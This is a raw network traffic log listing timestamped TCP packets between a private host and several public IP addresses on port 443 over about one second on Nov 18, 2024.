Nov 18, 2024 00:27:33.155682087 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.155725956 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.155735016 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.156024933 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.156044006 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.156439066 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.156445026 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.157150030 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.157222986 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.157510042 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.157589912 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.157618046 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.167124033 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.182557106 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.198306084 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.198338032 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.221992970 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.222213030 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.222227097 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.223228931 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.223294973 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.223603964 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.223668098 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.223720074 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.223737955 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.238703012 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.238900900 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.238964081 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.239097118 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.239106894 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.239120007 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.239126921 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.242336988 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.242372990 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.242465019 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.242893934 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.242908001 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.247876883 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.247895956 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.247962952 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.247962952 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.248004913 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.248156071 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.248171091 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.248183966 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.248189926 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.249015093 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.249115944 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.249172926 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.249222040 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.249222040 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.249248028 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.249270916 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.250956059 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.250986099 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.251061916 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.251169920 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.251183033 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.251265049 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.251296043 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.251359940 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.251532078 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.251545906 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.260111094 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.275744915 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.286472082 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.286540031 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.286600113 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.286832094 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.286843061 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.286855936 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.286861897 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.289968967 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.289987087 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.290070057 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.290229082 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.290239096 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.325233936 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.325328112 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.325444937 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.325730085 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.325738907 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.325788021 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.325793982 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.328681946 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.328716040 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.328783989 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.329227924 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.329242945 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.388849020 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.404716015 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.433442116 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.433465004 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.434921026 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.435007095 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.435183048 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.435266018 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.435266018 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.447674036 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.447690964 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.451458931 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.451575994 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.451659918 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.451678038 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.451697111 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.451819897 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.451894999 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.451905012 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.451945066 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.452039957 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.454699993 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.454797029 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.455073118 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.461560965 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.463346004 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.463356018 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.496653080 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.510489941 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.510509014 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.541738033 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.541752100 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.542757988 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.542874098 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.542977095 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.557390928 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.567854881 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.567997932 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.568114996 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.568128109 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.581363916 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.585223913 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.585233927 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.586016893 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.586086988 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.586097002 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.595628977 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.597208977 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.597218037 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.651592016 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.651608944 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.685308933 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.685389042 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.685456038 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.685470104 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.689196110 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.698261023 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.703000069 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.703067064 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.703078032 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.712524891 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.712589979 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.712599993 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.763896942 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.763906002 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.792203903 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.792345047 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.792352915 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.802290916 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.802361965 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.802371025 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.815587997 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.815638065 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.815645933 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.829169035 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.829246998 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.829313040 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.829327106 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.829849958 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.829914093 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.829921961 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.829986095 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.870829105 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:33.870887995 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:33.873111963 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:33.873121023 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:33.873410940 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:33.909423113 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.909594059 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.909646034 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.909661055 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.916733980 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:33.919435978 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.919493914 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.919503927 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.933444977 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.933540106 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.933553934 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.943471909 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:33.946214914 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.946731091 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.946739912 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.947005987 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.947060108 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.947067022 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.947720051 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.947814941 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.947823048 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.978853941 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.980591059 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.980603933 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.983613014 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.983618975 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.986221075 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.986776114 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.986802101 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.987173080 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.987178087 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.987325907 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:33.994853973 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.995661020 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.002661943 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.002679110 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.016700029 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.016709089 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.021235943 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.026328087 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.029680014 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.029705048 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.034271002 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.034280062 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.036384106 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.036461115 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.036520004 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.036536932 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.036828995 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.060472965 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.063291073 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.063349009 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.063364983 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.063909054 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.063987017 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.063993931 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.064208984 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.064280033 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.064321995 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.064331055 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.064558029 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.066206932 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.067468882 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.067481041 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.068308115 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.068314075 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.118112087 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.118132114 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.118192911 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.118227959 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.118293047 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.121071100 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.121088982 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.121148109 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.121155977 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.121495008 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.121611118 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.123048067 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.123048067 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.123069048 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.123080015 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.132894039 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.132894039 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.132908106 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.132915020 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.138134003 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.138159037 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.138757944 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.139329910 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.139342070 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.140110016 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.140126944 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.140180111 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.140397072 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.140412092 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.146109104 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.147104025 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.147128105 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.147185087 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.147203922 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.147279978 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.147330999 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.147674084 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.147682905 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.147691011 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.147695065 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.150070906 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.150080919 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.150158882 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.150480032 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.150491953 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.155253887 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.155333042 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.155345917 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.161976099 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.162070036 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.162117004 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.162296057 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.162302971 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.164611101 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.164633036 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.164746046 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.165152073 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.165165901 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.167159081 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.167190075 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.167232037 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.167243958 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.167293072 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.180485010 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.180561066 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.180645943 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.180660009 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.181041002 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.181126118 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.181133986 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.183815956 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.183882952 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.183891058 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.196708918 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.196777105 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.196844101 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.202961922 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.202975035 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.203008890 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.203016043 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.208030939 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.208051920 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.208147049 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.208375931 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.208394051 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.222990990 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223011971 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223021030 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223056078 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223073006 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:34.223089933 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223102093 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223110914 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:34.223119020 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223129034 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:34.223138094 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:34.223141909 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223160028 CET	49802	443	192.168.2.6	20.12.23.50
